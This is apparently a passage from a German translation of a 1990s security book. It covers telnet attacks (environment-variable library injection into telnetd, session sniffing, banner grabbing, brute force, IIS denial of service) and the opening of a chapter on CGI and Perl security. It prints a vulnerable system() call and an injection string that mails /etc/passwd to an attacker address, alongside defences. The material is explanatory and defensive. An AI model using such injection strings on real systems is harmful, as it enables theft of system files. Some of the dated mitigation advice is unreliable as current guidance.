und andere Laufzeit-Linker-Optionen an die Prozeßumgebung des Prozesses zu übergeben,
unter dem login läuft.
Wegweiser:
Hartmans Artikel finden Sie im Web unter http://geek-girl.com/bugtraq/ 1995_4/0032.html.
Bei der Übergabe der Umgebungsoption LD_LIBRARY_PATH an den Server kann ein Cracker diesem
Suchpfad ein eigenes Verzeichnis (und damit eine eigene Bibliothek) hinzufügen. Dies kann zu einer
Veränderung des dynamischen Link-Prozesses führen, wodurch der Angreifer beliebigen Zugriff auf das
System erlangen kann, einschließlich Root-Privilegien.
Hinweis:
Hartman wies darauf hin, daß, wenn das Ziel ein Kerberos-basiertes telnetd verwendet, nur Benutzer
mit einem gültigen Account auf dem entfernten Rechner den Angriff ausführen können. Ich vermute
allerdings, daß der Großteil der Rechner nicht mit einer derartig abgesicherten Telnet-Version
ausgerüstet ist.
Noch etwas ist an dieser Sicherheitslücke interessant: Es wurde festgestellt, daß man Telnet- Sitzungen
identifizieren konnte, in denen die Umgebungsvariablen durch Ausführung einer ps-Anweisung
übergeben wurden. Larry Doolittle stellte jedoch fest, daß man bei bestimmten Unix-Betriebssystemen
(besonders Linux) Root sein mußte, um solche Prozesse ausführen zu können. Als Antwort auf den
Hartman-Bericht schrieb Doolittle folgendes:
Neuere Linux-Kernel ermöglichen den Zugriff auf Umgebungsvariablen durch ps
niemandem außer dem Benutzer selbst. D.h., /proc/*/environ ist durch den Modus 400
geschützt. Das könnte Leute verwirren, die Ihre Empfehlungen lesen, da sie Umgebungen
für ihren eigenen Prozeß sehen würden, aber nicht die von root. Um die
Umgebungsvariablen von Logins zu überprüfen, müssen Sie ps als root ausführen.
Wegweiser:
Den Artikel von Larry Doolittle finden Sie im Web unter http://geek-
girl.com/bugtraq/1995_4/0042.html.
Telnet-basierte Angriffe
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Hier finden Sie Patches für verschiedene Distributionen von telnetd:
DEC (OSF/1) ftp://ftp.service.digital.com/ public/osf/v3.2c/ssrt0367_c032. Eine komprimierte
Version finden Sie unter ftp://ftp.ox.ac.uk/pub/comp/security/software/patches/telnetd/
Linux allgemein ftp://ftp.ox.ac.uk/pub/comp/security/software/patches/telnetd/ linux/telnetd/
Red Hat Linux http://www.io.com/~ftp/mirror/linux/redhat/redhat/updates/i386/
NetKit-B-0.09-1.1.i386.rpm
SGI (IRIX) ftp://sgigate.sgi.com/security/
Hinweis:
Obwohl Patches für dieses Problem herausgegeben worden sind, könnten einige andere mit Telnet
verbundene Module und Programme immer noch betroffen sein. Erst im Februar 1997 wurde berichtet,
daß in.telnetsnoopd durch die Übergabe von LD_PRELOAD auf einigen Plattformen, einschließlich
Linux, verwundbar sei. Es gibt jedoch einen Patch für dieses Problem, den Sie hier finden:
ftp://sunsite.unc.edu/.
Das normale Telnet ist kein besonders sicheres Protokoll. Man kann eine Telnet-Sitzung leicht abhören.
Es gibt zu diesem Zweck sogar ein Utility, das ttysnoop heißt. Sein Autor, Carl Declerck, beschreibt es
so:
[ttysnoop] ermöglicht Ihnen, Login-ttys über ein anderes tty-Gerät oder Pseudo-tty
auszuspionieren. Der ausspionierende tty wird zu einem »Klon« des ursprünglichen tty und
leitet sowohl Ein- als auch Ausgaben von bzw. zu diesem.
Wegweiser:
Declercks README für ttysnoop 0.12 (alpha) finden Sie unter http://
ion.apana.org.au/pub/linux/sources/admin/ttysnoop-0.12.README.
Hinweis:
ttysnoop ist nicht einfach nur ein Telnet-spezifischer Snooper; er spioniert das tty aus, nicht das
Telnet-Protokoll. Ein Netzwerk-Sniffer wie sniffit kann ebenfalls verwendet werden (und ist
wahrscheinlich geeigneter), um das Telnet-Protokoll auszuspionieren.
Telnet-Sitzungen sind zudem besonders sensibel. Ein Grund dafür ist, daß diese Sitzungen oft wie ein
»Inselhüpfen« durchgeführt werden. D.h. der Benutzer kann sich mit einem Netzwerk-Rechner per
Telnet verbinden, um seine Webseiten zu aktualisieren; von dort aus kann der Benutzer sich per Telnet
mit einem anderem Rechner verbinden und dann wieder mit einem anderen usw. Wenn ein Crakker eine
solche Sitzung ausspioniert, kann er Benutzerkennungen und Paßwörter für andere Systeme
herausfinden.
27.1.3 Haben diese Angriffe überhaupt noch Zweck?
Aufgrund mangelnder Kenntnisse über diese Angriffe: ja. Die oben beschriebene
Umgebungsvariablen-Attacke ist auf vielen Systemen immer noch recht wirkungsvoll. Und das, obwohl
Telnet-basierte Angriffe
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es im Internet genügend Advisories zu diesem Angriff gibt.
27.1.4 Telnet als Waffe
Telnet ist ein interessantes Protokoll. Wie ich bereits erwähnt habe, können Sie eine Menge in Erfahrung
bringen, wenn Sie Telnet verwenden. Sie können z.B. herausfinden, welche Version des Betriebssystems
auf dem Rechner läuft. Die meisten Unix-Distributionen geben diese Informationen bei der
Verbindungsherstellung an. Es wurde von mindestens einer zuverlässigen Quelle berichtet, daß
verschiedene Scanner die Informationsausgabe bei der Verbindungsherstellung dazu verwenden, den
Systemtyp zu identifizieren (SATAN ist einer dieser Scanner). Das Betriebssystem kann man im
allgemeinen durch eine Verbindung auf einen oder mehrere der folgenden Ports herausbekommen:
Port 21 - FTP
Port 23 - Telnet (Default)
Port 25 - Mail
Port 70 - Gopher
Port 80 - HTTP
Hinweis:
Obwohl ich hier nur fünf Ports aufgeführt habe, kann man sich mit den meisten TCP/IP-Ports
verbinden, wenn man eine Telnet-Sitzung initiiert. Einige dieser Ports bleiben während der Verbindung
absolut passiv, und der Benutzer kann nicht erkennen, daß etwas passiert. Das ist z.B. bei Port 80
(HTTP) so. Dennoch können Sie über Telnet Anfragen an Port 80 machen, und wenn diese Anfragen
gültig sind, wird Port 80 auch antworten. (Die Anfragen müssen noch nicht einmal gültig sein. Eine
fehlerhafte GET-Anweisung wird eine lebhafte Antwort des Web-Servers auslösen, wenn die Anfrage
ausreichend schlecht formuliert ist.)
In ihrer inzwischen berühmten Abhandlung »Improving the Security of Your Site by Breaking Into It«
weisen Dan Farmer und Wietse Venema darauf hin, daß Ports angegriffen werden können. Sie sprechen
insbesondere Port 6000 an:
Das X-Windows-System verwendet normalerweise Port 6000... Wenn es nicht richtig
abgesichert ist (über Magic-Cookie- oder xhost-Mechanismen), können Fensterinhalte
abgefangen oder eingesehen werden, Tastatureingaben der Benutzer gestohlen werden,
Programme entfernt ausgeführt werden etc. Außerdem kann, wenn auf dem Ziel X läuft und
es Telnet auf Port 6000 akzeptiert, dies für eine DoS-Attacke ausgenutzt werden, da das
Fenstersystem des Ziels oft für kurze Zeit »eingefroren« werden kann.
Wegweiser:
»Improving the Security of Your Site by Breaking Into It« finden Sie im Web unter
http://stos-www.cit.cornell.edu/Mark_html/Satan_html/docs/ admin_guide_to_cracking.html.
Farmer und Venema weisen in diesem Dokument auf viele Angriffe hin, die mit Telnet alleine oder in
Verbindung mit anderen Programmen implementiert werden können. Eine dieser Attacken betrifft ein
X-Terminal:
Telnet-basierte Angriffe
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X-Terminals sind normalerweise plattenlose Clients. Das sind Geräte, die nur über die
minimale Hard- und Software-Ausstattung verfügen, um sich mit einem X-Server verbinden
zu können. Sie werden am häufigsten in Universitäten benutzt und bestehen aus einem 17-
oder 19-Zoll-Monitor, einer Basis, einer Tastatur und einer Maus. Das Terminal unterstützt
normalerweise ein Minimum von 4 Mbyte RAM, aber einige können bis zu 128 Mbyte
aufnehmen. X-Terminals haben außerdem eine Client-Software, mit deren Hilfe sie sich mit
dem Server verbinden. Normalerweise erfolgt die Vernetzung über einen
Fast-Ethernet-Anschluß auf der Rückseite des Terminals. X- Terminals stellen eine
High-Speed-Anbindung an X-Server zur Verfügung, zusammen mit einer
Hochleistungsgrafik. Diese Rechner werden im Internet verkauft und eignen sich
ausgezeichnet als »zusätzliche« Terminals für zu Hause. (Sie sind besonders gut für
Übungszwecke zu gebrauchen.)
Die X-Terminal-Technik von Farmer und Venema verwendet eine Kombination von rsh und Telnet zur
Durchführung eines koordinierten Angriffs. Die Technik beinhaltet die Stapelverarbeitung mehrerer
Befehle. Der Cracker verwendet rsh zur Verbindung mit dem X-Terminal und ruft dann das
Telnet-Client-Programm des X-Terminals auf. Schließlich wird die Ausgabe an das lokale Terminal des
Crackers umgeleitet, indem die DISPLAY-Option oder - Variable angegeben wird.
Eine weitere interessante Aufgabe, für die Telnet verwendet werden kann, ist die unmittelbare
Feststellung, ob es sich bei dem Ziel um eine reale oder eine virtuelle Domain handelt (das kann man
auch auf andere Weise herausfinden, aber nicht so schnell). Dem Cracker kann dies helfen, genau
festzustellen, welchen Rechner er knacken muß, um an Ihre Ressourcen zu gelangen.
Eine reale Domain ist normalerweise eine Domain, die beim InterNIC registriert worden ist und ihren
eigenen dedizierten Server hat. Irgendwo steht ein Rechner mit einer permanenten IP-Adresse, und dieser
Rechner ist ständig an das Internet angebunden (über ein 28.8-Kbps- Modem, ISDN, 56-Kbps-Modem,
Frame Relay, T1, T3, ATM oder vielleicht sogar FDDI). Wenn Sie also mit einer solchen realen Site eine
Telnet-Verbindung herstellen, erreichen Sie genau diesen Rechner und keinen anderen.
Virtuelle Domains sind dagegen einfach nur Verzeichnisse auf einem realen Server, die mit einem
bestimmten Domainnamen verbunden sind. D.h. Sie bezahlen einen ISP für die Registrierung Ihres
Domainnamens und die Bereitstellung eines Verzeichnisses auf seiner Festplatte, das mit diesem Namen
verbunden ist. So erwecken Sie durch die Adresse Ihr_Unternehmen.com den Anschein, als hätten Sie
einen realen Server. Wenn Internet- Benutzer ihren Browser auf www.Ihr_Unternehmen.com führen,
erreichen sie in Wirklichkeit den Server Ihres ISPs. Dieser Server leitet die Verbindungsanforderung
dann an Ihr Verzeichnis weiter. Diese virtuellen Domains sind aus mehreren Gründen sehr beliebt, unter
anderem wegen der geringeren Kosten. Ihr Unternehmen muß auf diese Weise keinen eigenen Server
bereitstellen und vermeidet damit die Ausgaben für:
Hardware
Software
24-Stunden-Wartung
Technischen Support
Sie zahlen einfach eine Einrichtungsgebühr (und danach monatliche Gebühren), und der ISP kümmert
sich um den Rest. Für Cracker könnte dies eine wichtige Information sein. Wenn ein Cracker z.B. Ihre
Telnet-basierte Angriffe
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Domain knacken will - ohne vorher festzustellen, ob Ihr Rechner ein realer Server ist -, könnte er sich
Ärger einhandeln. Er denkt, er würde irgendeinen kleinen Rechner in Ihrem Büro knacken, und in
Wirklichkeit ist er dabei, einen großen, bekannten Netzwerkprovider anzugreifen.
Telnet gibt den Status Ihres Servers unmittelbar preis. Wenn ein Cracker eine Telnet-Sitzung zu
Ihr_Unternehmen.com initiiert (und bei der Verbindungsherstellung den Namen des Rechners als Node
eines anderen, größeren Netzwerks sieht), weiß er sofort, daß Ihre Adresse eine virtuelle Domain ist.
Telnet kann auch noch zu anderen schändlichen Zwecken eingesetzt werden. Einer ist die beliebte
Gewaltattacke (brute-force-Angriff). Ich bin mir nicht sicher, warum Gewaltattakken bei jungen
Crackern so beliebt sind; fast alle Server führen heutzutage irgendeine Art der Protokollierung durch.
Dennoch hat diese Methode bis heute überlebt. Diese Angriffe werden meistens über Telnet-Clients
initiiert, die ihre eigene Scriptsprache eingebaut haben. Tera Term ist eine solche Applikation.
Tera Term verfügt über eine Sprache, die Ihnen die Möglichkeit gibt, Telnet-Sitzungen zu
automatisieren. Diese Sprache kann zum Schreiben von Scripts verwendet werden, die gültige
Benutzernamen auf einem System herausfinden können, das sich weigert, auf finger- oder
sendmail-expn-Anforderungen hin Informationen preiszugeben. Die Telnet-Versionen geben diese
Informationen auf unterschiedliche Art aus. Wird z.B. ein falscher Benutzername angegeben, wird die
Verbindung gekappt. Wenn jedoch ein gültiger Benutzername eingegeben wird, wird ein neuer
login:-Prompt ausgegeben.
Wegweiser:
Tera Term finden Sie unter http://www2.tinet-i.or.jp/cybird-f/windows/ comm/ttermv13.zip
Außerdem ist Telnet auch ein ausgezeichnetes Tool um festzustellen, ob ein bestimmter Port offen ist
oder ob auf einem Server ein bestimmter Dienst läuft. Telnet kann auch als Waffe für DoS-Angriffe
verwendet werden. Durch das Senden von Müll an bestimmte Ports eines NT-Web-Servers unter IIS
kann man den Zielprozessor auf eine Auslastung von 100% treiben. Das Initiieren von Telnet-Sitzungen
zu anderen Ports eines NT-Web-Servers kann den Rechner dazu bringen, sich aufzuhängen bzw.
abzustürzen. Das geschieht insbesondere nach Aussenden einer Telnet-Verbindungsanforderung an Port
135.
Wegweiser:
Microsoft hat eine Abhilfe für dieses Problems herausgegeben, die Sie hier finden:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/ nt40/.
Man kann auch Microsofts Internet Information Server zum Absturz bringen, indem man sich per Telnet
mit Port 80 verbindet und eine GET.../...-Anforderung ausführt. Dieses Problem wurde Berichten zufolge
jedoch durch den Microsoft Windows NT Service Pack 2 für Windows NT 4.0 behoben. Wenn Sie dieses
Service Pack nicht haben, sollten Sie ihn sich unbedingt besorgen. Eine gute Abhandlung über dieses und
andere Probleme können Sie in dem Denial of Service Info finden, das Chris Klaus von Internet Security
Systems gepostet hat. Darin schreibt Klaus:
Wenn der Filesharing-Dienst für jeden verfügbar und zugänglich ist, kann dies dazu führen,
daß der NT-Rechner abstürzt und neu gebootet werden muß. Diese Technik verwendet den
Dot-Dot-Bug auf einem Windows-95-Rechner und ermöglicht es jedem, Zugriff auf die
Telnet-basierte Angriffe
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gesamte Festplatte zu erlangen. Diese Sicherheitslücke ist in der Microsoft Knowledge Base
dokumentiert, in Artikel Nummer Q140818, überarbeitete Fassung vom 15. März 1996.
Abhilfe schafft die Installation des neuesten Service Pack für Windows NT Version 3.51.
Das neueste Service Pack mit diesem Patch ist Service Pack 4.
Wegweiser:
Das Denial of Service Info finden Sie unter http://geek-girl.com/bugtraq/ 1996_2/0052.html.
Hinweis:
Diese Sicherheitslücke gab es nur beim Internet Information Server 2.0 Webserver (HTTP). Spätere
Versionen von IIS sind Berichten zufolge nicht mehr davon betroffen.
Schließlich wird Telnet auch noch gerne dazu verwendet, Mail und News zu fälschen. Versender von
Massen-Mailings (Spams) verwenden diese Möglichkeit oft anstelle des regulären Postens von
Usenet-Nachrichten. Es gibt bestimmte Optionen, die so gesetzt werden können, daß diese »Spammer«
zumindest einige der Abwehrmaßnahmen umgehen können, die von Robots zur Abwehr von Spams im
Usenet erzeugt werden.
27.2 Zusammenfassung
Telnet ist ein sehr vielseitiges Protokoll, und mit etwas Aufwand kann man es zu einem sicheren
Protokoll machen. (Ich persönlich bevorzuge SSH als Ersatz für Telnet, da es vor dem Ausspionieren
von Telnet-Sitzungen schützt). In seiner Default-Konfiguration ist Telnet jedoch nicht immer sicher.
Wenn Sie ältere Software verwenden (vor 1997), sollten Sie überprüfen, ob die entsprechenden Patches
installiert wurden.
Telnet kann auch dazu verwendet werden, entfernte Hosts anzugreifen oder von ihnen Informationen zu
erhalten (einige Möglichkeiten wurden in diesem Kapitel beschrieben). Wenn dieses Buch erscheint,
werden bereits viele andere Telnet-Attacken aufgetaucht sein. Wenn Sie ein Netzwerk betreiben und
beabsichtigen, Ihren Benutzern Telnet-Zugriff zu ermöglichen, sollten Sie sich in acht nehmen. Das gilt
besonders für neue Telnet-Server. Diese neuen Server könnten Bugs enthalten, die noch unentdeckt sind.
Und da Telnet sehr interaktiv ist und dem Benutzer viele Möglichkeiten gibt, Befehle auf entfernten
Rechnern auszuführen, ist jedes Sicherheitsloch in einer Telnet-Distribution ein kritisches. In dieser
Hinsicht steht es auf einer Stufe mit FTP oder HTTP (oder ist vielleicht sogar noch ernster).
27.2.1 Informationsquellen
Sendmail Bug Exploits List. Erläutert Methoden zum Angreifen von Sendmail. Einige dieser Techniken
beruhen auf Telnet. http://www.tern.com.hk/~death/buglist.htm
Improving the Security of Your Site by Breaking Into It. Dan Farmer und Wietse Venema.
http://stos-www.cit.cornell.edu/Mark_html/Satan_html/docs/ admin_guide_to_cracking.html
The Telnet Protocol Specification (RFC 854). J. Postel und J. Reynolds. Mai 1983. http://
sunsite.auc.dk/RFC/rfc/rfc854.html
Telnet-basierte Angriffe
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The Telnet Environment Option (RFC 1408). D. Borman, Editor. Cray Research, Inc. Januar 1993.
http://sunsite.auc.dk/RFC/rfc/rfc1408.html
Telnet Environment Option (RFC 1572). S. Alexander. ftp://ds.internic.net/rfc/ rfc1572.txt
Telnet Authentication: SPX (RFC 1412). K. Alagappan. ftp://ds.internic.net/rfc/ rfc1412.txt
Telnet Remote Flow Control Option (RFC 1372). C. Hedrick und D. Borman. ftp://
ds.internic.net/rfc/rfc1372.txt
Telnet Linemode Option (RFC 1184). D. A. Borman. ftp://ds.internic.net/rfc/ rfc1184.txt
The Q Method of Implementing Telnet Option Negotiation (RFC 1143). D. J. Bernstein.
ftp://ds.internic.net/rfc/rfc1143.txt
Telnet X Display Location Option (RFC 1096). G. A. Marcy. ftp://ds.internic.net/rfc/ rfc1096.txt
Telnet Binary Transmission (RFC 856). J. Postel und J. K. Reynolds. ftp://ds.internic.net/rfc/rfc856.txt
Remote User Telnet Service (RFC 818). J. Postel. ftp://ds.internic.net/rfc/rfc818.txt
Discussion of Telnet Protocol (RFC 139). T. C. O'Sullivan. Leider konnte ich diesen RFC online nicht
finden.
First Cut at a proposed Telnet Protocol (RFC 97). J. T. Melvin und R. W. Watson. Leider ist dieser RFC
anscheinend nicht mehr online verfügbar.
The Telnet Authentication Option. Internet Engineering Task Force Internet Draft. Telnet Working
Group. D. Borman, Hrsg. Cray Research, Inc. Februar 1991.
http://web.dementia.org/~shadow/telnet/preliminary-draft-borman-telnet-authentication-00.html
Telnet Authentication: Kerberos Version 4 (RFC 1411). D. Borman, Hrsg. Cray Research, Inc. Januar
1993. ftp://ds.internic.net/rfc/rfc1411.txt
Session-Layer Encryption. Matt Blaze und Steve Bellovin. Proceedings of the Usenix Security
Workshop. Juni 1995.
Attaching Non-TCP-IP Devices with Telnet. Stefan C. Johnson. Sys Admin: The Journal for UNIX
Systems Administrators, 5(6), S. 51. Juni 1996.
Secure RPC Authentication (SRA) for Telnet and FTP. David K. Hess, David R. Safford und Douglas
Lee Schales. Proceedings of the Fourth Usenix Security Symposium, Supercomputer Center, Texas
A&M University. 1993.
Internetworking with TCP/IP Vol. 1: Principles, Protocols and Architecture. Douglas Comer. Prentice
Hall. 1991. http://www.pcmag.com/issues/1606/pcmg0050.htm
EFF's (Extended) Guide to the Internet - Telnet. Adam Gaffin. Mining the Net, Part I. http:/
/cuiwww.unige.ch/eao/www/Internet/Extended.Guide/eeg_93.html
Telnet-basierte Angriffe
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28
Sprachen, Erweiterungen und Sicherheit
Dieses Kapitel befaßt sich damit, welchen Einfluß der Einsatz bestimmter Sprachen und Erweiterungen
auf die Sicherheit eines Systems haben.
28.1 Das World Wide Web wächst heran
Als das Web populär wurde, waren seine Seiten noch statisch und dienten der reinen Darstellung von
Informationen. Die meisten Seiten enthielten wissenschaftliche Informationen oder Werbematerial.
Seitdem hat das WWW an Funktionalität gewonnen. Technologien wie das Common Gateway Interface
(CGI) und Java haben die Art und Weise, wie wir das Internet nutzen, drastisch verändert. Heute ist das
Web ein Kanal für Datenbankintegration, elektronischen Datenaustausch (EDI), E-Commerce und sogar
Videokonferenzen.
Viele dieser Technologien beruhen auf neuen Sprachen und Erweiterungen. Mit Hilfe solcher Tools kann
man Webseiten noch mehr Funktionalität verleihen und die Nutzung für den Anwender interessanter und
interaktiver gestalten.
Diese Situation hat den Wettbewerb auf dem Gebiet der Software-Entwicklung weiter verschärft. Um
ihre Tools so schnell wie möglich auf den Markt bringen zu können, haben viele Firmen übersehen, daß
ihre Produkte Sicherheitslücken beinhalten. In diesem Kapitel möchte ich solche Schwachstellen
ansprechen und Ihnen zeigen, wie Sie sich schützen können.
Dabei geht es um folgende Themen:
CGI-Programmierung
Die Programmiersprache Java
Script-Sprachen
28.2 CGI und Sicherheit
CGI ermöglicht Web-Servern die Weitergabe von Informationen an Web-Clients über die reine
Wiedergabe von Text oder HTML-Dateien hinaus. Dafür können fast alle gängigen
Programmiersprachen benutzt werden. Die am häufigsten für CGI-Programmierung verwendeten
Sprachen, Erweiterungen und Sicherheit
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Sprachen sind:
Perl
Die Shell-Sprachen
C
TCL
Python
Normalerweise beinhalten CGI-Aufgaben die Abfrage von Datenbanken, die Anzeige von Statistiken
und die Ausführung von WHOIS- oder FINGER-Abfragen über ein Web-Interface (obwohl Sie
theoretisch fast jede netzwerkbasierte Abfrage mit CGI durchführen können).
CGI-Programme laufen immer auf dem Server, und aus diesem Grund stellen sie eine hohe Belastung für
das Netzwerk dar. Da es durch CGI außerdem zu Sicherheitsgefährdungen kommen kann, erlauben viele
Internet Service Provider ihren Benutzern die Verwendung von CGI gar nicht erst.
Je nach Ihrer Konfiguration können diese Sicherheitsprobleme durch CGI durchaus ernster Natur sein.
Wenn ein Cracker eine CGI-Sicherheitslücke erfolgreich ausnutzt, kann er Befehle mit der
Benutzerkennung des Webservers ausführen. Bei vielen Default-Konfigurationen läuft HTTPD als root,
und das kann ein kritisches Problem darstellen.
Im nächsten Abschnitt behandeln wir die Sicherheitsprobleme von CGI, die sich auf die
Programmiersprache Perl beziehen.
28.2.1 Perl (Practical Extraction and Report Language)
Perl ist die bei weitem beliebteste Sprache für die CGI-Programmierung. Das hat mehrere Gründe:
Perl verfügt über leistungsfähige Möglichkeiten zur Textformatierung.
Perl ist leicht zu erlernen.
Perl ist klein.
Perl ist umsonst.
Außerdem ähneln Syntax, Funktionen und Methoden von Perl denen von SED, AWK, C und den
Shell-Sprachen. Deshalb ist Perl bei Unix-Programmierern sehr beliebt.
28.2.2 Die Sicherheit von Perl
Die Sicherheit von Perl ist ziemlich gut; es sind die Programmierer, die Sicherheitslöcher verursachen.
Im folgenden Abschnitt werden diese Sicherheitslöcher beschrieben, und wie man sie vermeidet.
Der Systemaufruf
Ein Sicherheitsproblem ist der Systemaufruf. Sie geben Perl mit Hilfe eines Systemaufrufs die
Anweisung, einen nativen Befehl des Betriebssystems auszuführen. Hier ist ein Beispiel:
system("grep $user_input /home/programmer/my_database");
Sprachen, Erweiterungen und Sicherheit
file:///d|/cool stuff/old/hack/kap28.htm (2 von 15) [19.04.2000 21:15:44]
Dies veranlaßt grep, die Datei my_database nach Übereinstimmungen mit der vom Benutzer
eingegebenen Zeichenfolge $user_input zu durchsuchen.
Systemaufrufe wie dieser sind gefährlich, weil Sie nie voraussehen können, was der Benutzer machen
wird. Die meisten Benutzer geben eine Zeichenfolge ein, die korrekt ist (oder von der sie zumindest
denken, daß sie korrekt ist). Cracker gehen jedoch anders vor. Ein Cracker versucht, die Schwächen Ihres
Scripts herauszufinden. Dazu gibt er Zeichenfolgen ein, die zur Ausführung weiterer Befehle vorgesehen
sind.
Nehmen wir einmal an, Sie hätten den obigen Systemaufruf in Ihrem Script stehen und keinen
Mechanismus zur Filterung unerlaubter Zeichenfolgen vorgesehen. Dann könnte der Cracker auf
einfache Weise Befehle an die Shell leiten, indem er seinen Eingaben bestimmte Metazeichen anfügt.
Die meisten Shell-Interpreter (einschließlich command.com von MS-DOS) stellen eine Möglichkeit zur
Ausführung sequentieller Befehle zur Verfügung. Dazu schreibt man die Befehle einfach durch
Metazeichen getrennt hintereinander. In Tabelle 28.1 sind mehrere Metazeichen für die Unix-Shell und
ihre Aufgaben aufgeführt.
Tabelle 28.1: Metazeichen und ihre Aufgaben
Metazeichen Zweck
; Durch dieses Metazeichen getrennte Befehle werden der Reihe nach ausgeführt.
| Spezifiziert, daß die Ausgabe des ersten Befehls zur Eingabe des zweiten werden soll.
&& Spezifiziert, daß der zweite Befehl ausgeführt werden soll, wenn der erste Befehl
erfolgreich ist.
|| Spezifiziert, daß der zweite Befehl ausgeführt werden soll, wenn der erste Befehl
scheitert.
( ) Spezifiziert, daß alle angegebenen Befehle zu einer Gruppe zusammengefaßt und in
einer Subshell ausgeführt werden sollen.
Wenn Sie keinen Mechanismus einfügen, der jede ankommende Zeichenkette filtert, kann ein Cracker
diese Metazeichen verwenden, um zusätzliche Befehle auf die Argumentliste zu schieben. Das klassische
Beispiel dafür ist:
user_string;mail bozo@cracking.com </etc/passwd
Die Datei /etc/passwd wird per E-Mail an den Cracker gesendet. Das funktioniert, weil das Semikolon
den Interpreter anweist, den Mail-Befehl auszuführen, nachdem die grep-Suche beendet ist.
Sie sollten möglichst verhindern, daß Benutzer überhaupt Zeichenketten eingeben können, in die sie
Befehle einbauen könnten. Es gibt viele Wege, das zu umgehen. Sie könnten z.B. Optionsfelder,
Auswahllisten oder andere Objekte einfügen, die nur angeklickt werden müssen. Wenn Sie den Benutzer
zwischen mehreren Optionen wählen lassen, haben Sie eine viel größere Kontrolle darüber, was an
STDIN eingelesen wird.
Warnung:
Sprachen, Erweiterungen und Sicherheit
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Selbst wenn Sie Optionsfelder oder Auswahllisten verwenden, benötigen Sie eine Überprüfungsroutine.
Der Grund ist folgender: Cracker können Kommandozeilen-Abfragen konstruieren, in denen sie Ihren
Formularfeldern beliebige Werte zuweisen. Wenn Sie diese Werte nicht überprüfen, kann es immer noch
passieren, daß bösartiger Code an Ihren Server gesendet wird.
Eine Überprüfungsroutine einzubauen, ist recht einfach. Sie können im Handumdrehen
aufeinanderfolgende IF-NOT-Blöcke erzeugen. Das sieht zum Beispiel so aus:
if($formular_inhalt{'option 1'} ne "erste_option") {
if($formular_inhalt{'option 1'} ne "zweite_option") {
print "Unzulässiger Wert\n";
exit;
}
}
Eine weitere Lösung (wenn Sie unbedingt Systemaufrufe verwenden wollen) ist, alle Sonderzeichen in
dem Aufruf in Escape-Zeichen einzuschließen. Dann würde der folgende Befehl
system("grep $user_input /home/programmer/my_database");
statt dessen so aussehen:
system("grep \"$user_input\" /home/programmer/my_database");
Noch eine Lösung (die zwar einfacher, aber vielleicht weniger wünschenswert ist) wäre die Überprüfung
der Benutzereingaben, bevor diese weitergeleitet werden. Es gibt mehrere Möglichkeiten:
Unterbinden Sie Benutzereingaben, die Metazeichen enthalten. Das geschieht normalerweise
durch Festlegung von Regeln, die nur Wörter zulassen, wie bei ~ tr/^[\w ]//g
Verwenden Sie taintperl. Es unterbindet die Weiterleitung von Variablen an Script-Systemaufrufe
durch system() oder exec(). taintperl kann bei Perl 4 durch /usr/local/ bin/taintperl aufgerufen
werden, und bei Perl 5 durch Verwendung der Option -T beim Aufruf von Perl (wie bei
#!/usr/bin/local/perl -T).
Das Problem der Systemaufrufe ist nicht auf Perl beschränkt, sondern kann in jeder Programmiersprache
auftreten, auch in C. Eugene Eric Kim, Autor von Programming CGI in C, schreibt dazu folgendes:
Bei in C abgefaßten CGI-Programmen stellen C-Funktionen, die einen Bourne-Shell-
Prozeß (z.B. system() oder popen()) einleiten, eine ernste potentielle Sicherheitslücke dar.
Wenn Sie Benutzereingaben in eine dieser Funktionen erlauben, ohne vor die Sonderzeichen
jeweils ein Escape-Zeichen zu setzen, kann ein böswilliger Benutzer Ihr System gefährden,
indem er spezielle, für die Shell reservierte »Metazeichen« verwendet.
Wegweiser:
Programming CGI in C von Eugene Eric Kim finden Sie im Web unter
http://www.eekim.com/pubs/cgiinc/index.html.
Ich empfehle Ihnen Kims neuestes Buch, CGI Developer's Guide (Sams.net). Kapitel 9, »CGI Security:
Writing Secure CGI Programs«, gibt einen ausgezeichneten Überblick über CGI-Sicherheit. Kim spricht
viele Szenarien an, denen Sie begegnen könnten:
Sprachen, Erweiterungen und Sicherheit
file:///d|/cool stuff/old/hack/kap28.htm (4 von 15) [19.04.2000 21:15:44]
Puffer-Überläufe
Shell-Metazeichen
Shell-Mißbräuche
28.2.3 Skripte im privilegierten Modus ausführen
Skripte im privilegierten Modus auszuführen, ist ein weiterer verbreiteter Fehler. Er ist sogar so
verbreitet, daß Perl über eingebaute Sicherheitsvorkehrungen dagegen verfügt. Ein Beispiel ist die
Behandlung von setuid-Skripte (solche, die spezielle Privilegien voraussetzen, um ausgeführt werden zu
können):
Wenn Perl ein setuid-Skript ausführt, werden spezielle Vorsichtsmaßnahmen getroffen, die
verhindern, daß Sie in eine der offensichtlichen Fallen tappen. (In mancher Hinsicht ist ein
Perl-Skript sicherer als das entsprechende C-Programm.) Jedes Kommandozeilenargument,
jede Umgebungsvariable oder Eingabe wird als »unsicher« gekennzeichnet und darf - ob
direkt oder indirekt - in keinem Befehl verwendet werden, der eine Subshell aufruft oder
Dateien, Verzeichnisse oder Prozesse modifiziert. Jede Variable, die innerhalb eines
Ausdrucks gesetzt wird, der zuvor einen unsicheren Wert referenziert hat, wird ebenfalls
unsicher (sogar wenn es aus logischer Sicht eigentlich unmöglich ist, daß der unsichere
Wert diese Variable beeinflussen kann).
Sie sollten dennoch niemals Skripte im privilegierten Modus ausführen; und ich bin nicht der einzige, der
Ihnen dies raten wird. Lincoln Stein, Autor des WWW Security FAQ, gibt folgenden Rat:
Als erstes sollten Sie sich fragen, ob es wirklich nötig ist, daß Ihr Perl-Skript suid
ausgeführt wird. Dies stellt aus folgendem Grund eine Gefahr dar: Wenn Sie Ihrem Skript
mehr Privilegien geben als der Benutzer »nobody« hat, erhöht dies auch die potentiellen
Schäden, die ein mißbräuchlich verwendetes Skript hervorrufen kann. Wenn Sie
beabsichtigen, Ihrem Skript Root-Privilegien zu geben, sollten Sie sich das sehr gut
überlegen.
Wegweiser:
Den WWW Security FAQ von Lincoln D. Stein finden Sie unter http://www-
genome.wi.mit.edu/WWW/faqs/wwwsf5.html.
28.2.4 Erzeugen von Dateien
Wenn Ihre CGI-Programme Dateien erzeugen, sollten Sie die folgenden Regeln einhalten:
Schränken Sie das Verzeichnis ein, in dem die Datei erzeugt wird. Dieses Verzeichnis sollte von
allen Systemverzeichnissen isoliert werden und von Orten, an denen solche Dateien leicht
gefunden, manipuliert und zerstört werden können (mit anderen Worten sollten Sie niemals ein
Verzeichnis wie /tmp verwenden).
Setzen Sie die Dateiberechtigungen so restriktiv wie möglich. Wenn die Datei ein Dump einer
